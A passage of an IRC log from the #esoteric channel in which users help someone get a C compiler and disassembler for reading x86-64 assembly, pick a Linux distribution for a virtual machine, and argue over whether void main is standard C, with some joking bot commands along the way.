1393711290 35252 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Brohams < 1393711300 900397 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://www.buzzfeed.com/ludwigwittgenstein/fantastic-ways-to-distinguish-between-sense-and-nonsense the greatest listicle in history < 1393711305 722495 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :What's a good C compiler that's 64 bits and where I can modify the Assembly file < 1393711317 848156 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :gcc -S, isn't it? < 1393711322 642954 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :gcc < 1393711326 683789 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike.zzo38.moed++ < 1393711348 843997 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Codeblocks can use gcc, right? < 1393711355 551482 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Slereah_: you may find the assembly output of gcc somewhat hard to read, though < 1393711355 736542 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :'cause I ain't got no linuxeses < 1393711363 594994 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's full of various directives / metadata / etc. < 1393711367 899807 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"Do you know about philosophical investigations?" < 1393711376 601236 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :kmc: is any compiler's asm not going to be < 1393711385 654643 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i don't know < 1393711388 898379 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :just a general warning < 1393711394 766204 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :(probably some toy compilers, though) < 1393711419 253659 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also compilers can write unholy weird assembly (especially on x86) < 1393711419 741112 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :anyway i imagine llvm lets you output ir bla bla bla < 1393711440 622130 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :for all its complexity, it is possible for humans to write x86 assembly in a clear and straightforward style... but compilers have no such scruples < 1393711451 875311 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Slereah_: if you run into something you don't understand I will try to explain it to the best of my ability < 1393711460 976681 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :disassembling the binary instead of asking for assembly output might be more readable because some of the crud gets removed (and/or moved to other sections out of the way) < 1393711462 931334 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Thanks. < 1393711470 940379 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :What kind of weirdery can I encounter though? < 1393711498 409694 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :But wouldn't disassembling the binary get rid of the tags? < 1393711514 737564 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :it'll still have symbols in it. < 1393711545 804189 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ah yes olsner speaks the truth < 1393711556 667925 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes, it will still have symbols (unless you run 'strip' on the binary) < 1393711560 254889 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :What's a good x86-64 disassembler? < 1393711567 76319 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the standard on *nix is objdump -d < 1393711576 94734 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :What about on not-nix < 1393711579 20486 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :yeah, you shouldn't need IDA or nothin < 1393711580 538107 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :On the windows < 1393711593 865422 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :@g windows disassembler < 1393711594 50323 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Maybe you meant: gazetteer get-shapr get-topic ghc girl19 google googleit gsite gwiki v @ ? . < 1393711597 203558 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :er right. < 1393711600 754368 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :@google windows disassembler < 1393711601 582474 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :http://en.wikibooks.org/wiki/X86_Disassembly/Disassemblers_and_Decompilers < 1393711601 767848 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Title: x86 Disassembly/Disassemblers and Decompilers - Wikibooks, open books for an ... < 1393711604 597927 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :@gazetteer < 1393711604 784135 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :gazetteer ... U.S. Gazetteer (2000) < 1393711617 669973 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :@gazetteer windows disassembler? < 1393711619 493734 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :No match for "windows". < 1393711619 679518 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :No match for "disassembler?". < 1393711621 904755 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Slereah_: look, trying to do any interesting software development on Windows is just making your life unnecessarily hard < 1393711632 552857 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :When is Fnord A.M.? < 1393711635 764732 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Well < 1393711638 964582 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Slereah_: install Linux or get a Linux VM (locally or some cheap VPS or something) < 1393711643 308408 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I guess I could put on a virtual linux < 1393711648 190254 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Amazon will give you a free EC2 instance for a year < 1393711660 834868 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :@g gazeteer rain < 1393711661 59806 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Maybe you meant: gazetteer get-shapr get-topic ghc girl19 google googleit gsite gwiki v @ ? . < 1393711664 724141 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :@gazeteer rain < 1393711665 570881 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :No match for "rain". < 1393711676 785264 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :or just use cygwin. < 1393711681 156230 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :you could always copy the windows binaries to a linux computer and run an objdump compiled with PE-format support there < 1393711700 258504 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's less pain than setting up a linux vm with ssh < 1393711702 510927 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :or you could use zzo's inevitable 6502 operating system for all your software development < 1393711703 124675 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that seems like more trouble than installing gcc / binutils from Cygwin or MinGW < 1393711719 951235 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :cygwin is easy to install, although it's hueg < 1393711746 869259 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but seriously, if you want to learn this stuff, you should have a linux of some kind < 1393711776 284814 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :clang's -S output can be occasionally more readable than gcc's. < 1393711872 115502 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :cygwin is a linux of some kind enough for software development < 1393711877 99885 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :though configure scripts will always be slow < 1393711915 71342 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :And gcc -S has a -fverbose-asm which adds some comments about which variables each instruction refers to, though that can be p. useless. < 1393711929 19430 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i ahve a pretty good book on "hacking" (it's titled that) that teaches basic x86 and goes through simple privilege escalation and mitm and stuff < 1393711933 447339 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :cygwin won't let you do things like write standalone assembly programs that make system calls < 1393711936 206347 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :for kernels like, 2.6, though < 1393711965 40196 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Sooo < 1393711970 570842 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :what's a good destro these days < 1393711988 141720 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :kmc: I'm sure you *can* just int 2e it up, can't you? < 1393712003 196190 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fizzie: the Windows syscall API is undocumented, isn't it? < 1393712005 556690 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and unstable < 1393712007 681117 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :another trick is (counterintuitively) to enable optimizations, I find that tends to make the assembly more straight-forward < 1393712011 582330 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :kmc: Yes and yes, sure. < 1393712012 834402 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the stable API is linking to dlls < 1393712038 460734 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :there is some unofficial documentation around, I think < 1393712051 517190 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i hear it's a nicer API than the stable one < 1393712063 183927 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :usually allowing things to change allows them to get/stay nice < 1393712066 68753 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Eh fuck it < 1393712071 413297 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Slereah_: debian or ubuntu < 1393712073 978179 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I'll just put in scientific linux < 1393712079 584159 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :whatever < 1393712093 440938 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :SciLinux is based on RHEL which means a lot of stuff will be p. out of date < 1393712103 34499 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :you might want to add https://fedoraproject.org/wiki/EPEL at least < 1393712108 150205 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Some of our cluster nodes run Scientific Linux, I think. < 1393712112 858086 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Let's go with Debian then < 1393712223 826373 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :http://cdimage.debian.org/debian-cd/7.4.0/amd64/iso-dvd/ < is it on 3 DVDs? < 1393712252 527337 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Normally I just go with the http://cdimage.debian.org/debian-cd/7.4.0/amd64/iso-cd/debian-7.4.0-amd64-netinst.iso < 1393712268 355738 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Thanks. < 1393712272 695470 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(It's one small CD, installs from network.) < 1393712289 423268 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Hm, will it work okay on virtual box? < 1393712302 703857 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I've installed it on VirtualBox a couple of times. < 1393712314 31643 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The default networking setup it does should be fine. < 1393712315 817050 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Thanks. < 1393712376 702169 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :In the meanwhile, let's see what Codeblocks can do assembly-wise < 1393712460 968254 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Or I can't remember if VirtualBox has any networking by default, but the needs-no-configuration user-mode NAT thing anyway.) < 1393712462 781373 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`coins < 1393712465 686458 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :subtcoin lycyclickcoin undercoin sendreimachcoin stacoin fectioncoin wikicyclipongouyhis=thannonoremmentanandoffe7e45ecoin fervediumcoin rankcoin fiftyreacoin utomocoin souldcoin mdpncoin isccoin sorthoecoin hcbaesiecoin clecoin quaicoin vejcoin yabacoin < 1393712479 101863 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :`bills < 1393712479 286821 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: Nitecoin < 1393712480 17765 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: bills: not found < 1393712480 366869 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :wikicyclipongouyhis=thannonoremmentanandoffe7e45ecoin is gonna be big < 1393712489 305408 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :When will I have some bitbills! < 1393712503 693036 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Slereah_: http://onechicklette.files.wordpress.com/2012/06/post-no-bills.jpg?w=625 < 1393712516 496987 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :`run coin | sed -e 's/coin/bill/g' < 1393712517 557764 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bash: coin: command not found < 1393712524 236225 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :`run coins | sed -e 's/coin/bill/g' < 1393712527 163491 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :son-of-unbbill auguebill oristbill xigbill lendstrebill redgrandbill rustbill licizativebill milebill justitbill diacentbill posbill butbill acrutabill ofestfrograssedadolpson-of-unbabtiliumbill flatlebill fittbill itfimplebill aminischefernatnikbill plinitribill < 1393712529 561504 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`` coins | sed s=coin=bill=g < 1393712532 204510 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :orbiccisinbill wilsonbill scombiebill judibill bfmbill negotbill scequersenbill dimcrbill reversbill barebill conveyonnahbill genbill unitbill rinebill dzzzzbill byterbill zehntermderliardaunallersange/indbill intertionbill brovicbill addlebill < 1393712534 135855 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :son-of-unbill < 1393712560 189650 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :ofestfrograssedadolpson-of-unbabtiliumbills go well with wikicyclipongouyhis=thannonoremmentanandoffe7e45ecoins. < 1393712588 122531 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric := is a good sed separator thx < 1393712590 459328 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :void main(void){int x;} < 1393712595 979397 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :That's a pretty bold program < 1393712599 395664 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Now let's see < 1393712601 948167 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :main should return int < 1393712610 628925 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :It's not mandatory! < 1393712636 464916 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It is if you want to follow the standard. < 1393712655 834640 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I think if you use "void main()" then the exit code of your program (if you return rather than calling exit()) will be undefined garbage < 1393712664 133275 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and C++ explicitly forbids it < 1393712673 694071 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Humbug! < 1393712685 403644 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :A pox on conventions! < 1393712688 234838 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :kmc: I use = as a regex separator quite a bit < 1393712690 40716 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :A POX I TELL YOU < 1393712692 879168 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :a pox on correctness < 1393712730 5385 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I will use gotos and make all my fucking classes public! < 1393712744 609420 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I just got "40" back out as an error code from void main(void){int x;} which was p. random. < 1393712767 413715 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Error codes only matter if you're on an OS < 1393712811 439470 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :doesn't C++ have free-standing implementations? < 1393712857 436045 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Le linux is downloaded < 1393712860 146473 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Yes. g++ -ffreestanding for instance. < 1393712863 971194 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Let's install it < 1393712872 574491 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :g++ -fuck-tha-police < 1393712930 17581 :MoALTz_!~no@user-31-175-247-158.play-internet.pl QUIT :Quit: Leaving < 1393712948 457647 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :The honorable judges MC RAM, Ice Cube and Easy-Motherfucking-E standing < 1393712959 152538 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :"It is implementation-defined whether a program in a freestanding implemeentation is required to define a main function.", hmm, that c++98 < 1393712966 979230 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :C++2003 says the same. < 1393712969 350212 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :but why would they change it :) < 1393712982 147133 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Except with "implementation" and not "implemeentation". < 1393713017 155049 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It does say: "It shall have a return type of type int, but otherwise its type is implementation-defined" that presumably refers to hosted implementations. < 1393713030 203081 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :In contrast to C where the implementation-defined forms of main can change the return type too. < 1393713046 65893 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :fizzie: my fault, I can't type. < 1393713148 991978 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Slereah_: int main is mandatory per the spec < 1393713159 893245 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :however in C99 you can do int main() { ... } and omit the return 0 < 1393713178 146670 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :C99 freestanding explicitly doesn't require main to return int. < 1393713196 648456 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Of course, C99 freestanding has a completely implementation-defined entry point. < 1393713201 474272 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :clang -fheinous-gnu-extensions < 1393713233 353148 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :elliott : I thought void main(void) was allowed for historical reasons? < 1393713242 312390 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Nope. < 1393713248 739956 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Also no compiler ever bitches about it < 1393713272 974994 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :That's kinda irrelevant. What GCC and C99 permit are only loosely correlated. < 1393713289 884026 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Well in that case < 1393713293 589708 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :A POX ON C99 < 1393713294 663387 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :whois.nic.fish is an alias for whois.donuts.co. < 1393713295 914477 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :A POOOOX < 1393713304 534277 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :$ echo 'void main(void) {}' | gcc -x c -Wall - -o /dev/null:1:6: warning: return type of ‘main’ is not ‘int’ [-Wmain] < 1393713307 577616 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :*shakes old man fist* < 1393713311 940752 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :put a newline before there < 1393713314 70832 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Especially in GCC's default mode, which is C90+crazy. < 1393713331 541717 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :craycray, really < 1393713333 261995 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i like C99 < 1393713336 954294 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :haters gonna hate < 1393713341 374121 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I'm not gonna let the machines control me < 1393713342 163705 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :I <3 C99. < 1393713343 488655 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :C jumped the shark at C99 < 1393713347 547768 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I have my aluminium hat < 1393713351 21486 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :err, sorry < 1393713352 994936 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :jumped the _Shark < 1393713357 448357 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :haha < 1393713391 895427 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Well software is installing < 1393713397 32971 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Might take a while apparently < 1393713419 309390 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Should I just use gcc for C stuff on le linux? < 1393713448 14713 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes < 1393713451 913606 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :gcc is the standard c compiler on linux < 1393713461 505150 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Does it also do the decompiling? < 1393713468 685286 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :no, that's objdump < 1393713469 665187 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :do you mean disassembling? < 1393713473 333313 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :objdump -d ./myprog < 1393713473 964754 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Ah yes < 1393713475 137358 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :which is i think in binutils, which is probably there already < 1393713475 892128 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Thanks. < 1393713483 869390 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes or installing gcc will install binutils, at the least < 1393713490 875243 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Well I will discover it soon enough < 1393713495 707085 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :on debian you should: apt-get install build-essential < 1393713534 190384 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I should get a second PC someday < 1393713545 314240 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Usually when I get a new PC I just cannibalize the old one and throw it away < 1393713556 909707 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :I'll just keep it next time < 1393713567 415895 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :"apt-get install packaging-dev" is better < 1393713585 603278 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :if you want an IDE there are many < 1393713590 822487 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but i can't recommend a particular one < 1393713927 83169 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1393714048 781712 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ahoy solid matrix detainees < 1393714056 442378 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I always use GCC's default "GNU89" mode. < 1393714067 647007 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :What does "C jumped the shark at C99" mean? < 1393714073 459458 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :quintopia: welcome to the desert of the real < 1393714116 543772 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :zzo38: look up "jumping the shark" on tvtropes < 1393714121 302410 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: "jumping the shark" is a reference to a TV show that got more and more desperate for ratings, doing ridiculous things, and eventually had a character jump over a shark < 1393714126 36710 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :at which point nobody took it seriously any more < 1393714126 278502 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Hm < 1393714142 826748 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :apparently the compiler doesn't actually translate int x; if you don't use it < 1393714146 429648 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Let's add = 0 < 1393714160 994126 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :movl $0, -4(%rbp) < 1393714163 121989 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Merfect < 1393714165 179610 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ais523: why not name the show? having given us more spinoffs than any show i know of, it's certainly iconic < 1393714175 218895 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :quintopia: because I don't know what iti s < 1393714176 694746 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :*it is < 1393714192 910651 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Happy Days < 1393714219 362860 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :What's $0 in the compiler assembly? < 1393714222 492466 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :constant 0 < 1393714233 97059 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :beware that there are two styles of assembly syntax for x86, AT&T style and Intel style < 1393714236 882154 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Beware the March of Dimes < 1393714239 903948 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Linux / GNU tools mainly use the former and that's what you're looking at < 1393714247 102939 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but most other stuff (esp. Windows) uses the latter < 1393714258 416698 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :What's the difference with just 0? < 1393714263 747489 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Or was I using the other convention < 1393714263 972953 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :they differ in various ways, the most important is that AT&T does mov %src, %dst and Intel does mov dst, src < 1393714272 334534 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :where %src is a register like %rax, %rbx, etc. < 1393714282 85379 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Oh fuck, I guess I was using the other convention < 1393714283 168148 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Dang < 1393714284 300474 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Slereah_: 0 would be a memory operand which reads whatever's at address 0 < 1393714289 989231 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :(in AT&T syntax) < 1393714302 93623 :Slereah_!~jackal@176.222.51.233 PRIVMSG #esoteric :Are there any compiler that uses the other convention? < 1393714324 701165 